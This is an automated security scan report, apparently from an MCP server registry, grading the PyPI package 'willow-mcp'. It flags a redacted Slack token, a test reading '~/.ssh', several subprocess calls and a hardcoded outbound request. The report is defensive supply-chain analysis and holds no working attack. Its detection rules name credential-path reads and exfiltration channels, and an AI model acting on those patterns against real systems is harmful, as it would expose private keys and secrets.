Willow MCP Server
willow-mcp
PyPI
v2.0.1
Published by rudi193-cmd — no publish provenance and no vendor-owned scope, so the publisher could not be verified. The repository link below is self-declared.
Every server starts at 100. These are the exact deductions the deterministic engine applied — each one reproducible, none of it an opinion or an LLM's guess:
| Points | What was found | Category |
|---|---|---|
| −22 | Hardcoded Slack token in server code MTC-SRC-008 | exfiltration |
| −2.1 | Package has no source repository MTC-SUP-011 | supply-chain |
Grade capped: 1 confirmed high finding → grade capped at C. A hard gate overrides the point total — no amount of clean surface buys back a confirmed catastrophe.
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind the deduction.
Findings 13
high Reads a sensitive credential path or dumps the environment (tests/test_server.py)MTC-SRC-006
In the server's implementation (`tests/test_server.py:729`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ~/.ssh
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_server.py
high Hardcoded Slack token in server code (tests/test_secret_scan.py)MTC-SRC-008
A live-looking Slack token is hardcoded in `tests/test_secret_scan.py:14`. Secrets in source ship to everyone who installs the package and are a direct credential leak.
Evidence: Slack token: xoxb…(redacted)
Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.
Location: server tests/test_secret_scan.py
high Shell/command execution in server code (src/willow_mcp/pgp.py)MTC-SRC-002
In the server's implementation (`src/willow_mcp/pgp.py:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/pgp.py
high Shell/command execution in server code (src/willow_mcp/trust_root_setup.py)MTC-SRC-002
In the server's implementation (`src/willow_mcp/trust_root_setup.py:255`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/trust_root_setup.py
high Shell/command execution in server code (src/willow_mcp/voice_service.py)MTC-SRC-002
In the server's implementation (`src/willow_mcp/voice_service.py:88`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/voice_service.py
high Shell/command execution in server code (src/willow_mcp/worker_service.py)MTC-SRC-002
In the server's implementation (`src/willow_mcp/worker_service.py:118`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/worker_service.py
high Shell/command execution in server code (tests/test_cli_args.py)MTC-SRC-002
In the server's implementation (`tests/test_cli_args.py:54`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_cli_args.py
high Shell/command execution in server code (tests/test_consent_cli.py)MTC-SRC-002
In the server's implementation (`tests/test_consent_cli.py:26`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_consent_cli.py
high Shell/command execution in server code (tests/test_egress_cli.py)MTC-SRC-002
In the server's implementation (`tests/test_egress_cli.py:15`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_egress_cli.py
high Shell/command execution in server code (tests/test_pre_tool_use_hook.py)MTC-SRC-002
In the server's implementation (`tests/test_pre_tool_use_hook.py:61`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_pre_tool_use_hook.py
high Shell/command execution in server code (tests/test_the_grove.py)MTC-SRC-002
In the server's implementation (`tests/test_the_grove.py:116`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_the_grove.py
medium Hardcoded egress to an external endpoint (src/willow_mcp/oauth.py)MTC-SRC-003
In the server's implementation (`src/willow_mcp/oauth.py:307`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: urllib.request.urlopen("https://appleid.apple.com/auth/keys"
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/willow_mcp/oauth.py
low Package has no source repositoryMTC-SUP-011
"willow-mcp" declares no repository URL, so its published artifact cannot be compared against reviewable source.
Fix: Prefer packages that link to public, reviewable source.
Location: package willow-mcp
What this scan could not see
- No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command "npx -y <package>".
Versions
Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v2.0.1 latest |
C 76/100 | 13 | 1.5.0 | 2026-07-22 |
Embed this score
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
Verify this score yourself
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan willow-mcp --online --registry pypiMore in Databases
Security scan results for the 1c Rest MCP server.
Security scan results for the A5sql MCP server.
Security scan results for the Adb Mysql MCP server.
Security scan results for the Agentskit MCP server.
Security scan results for the Aifordatabase MCP server.
Security scan results for the Ainative Postgres MCP server.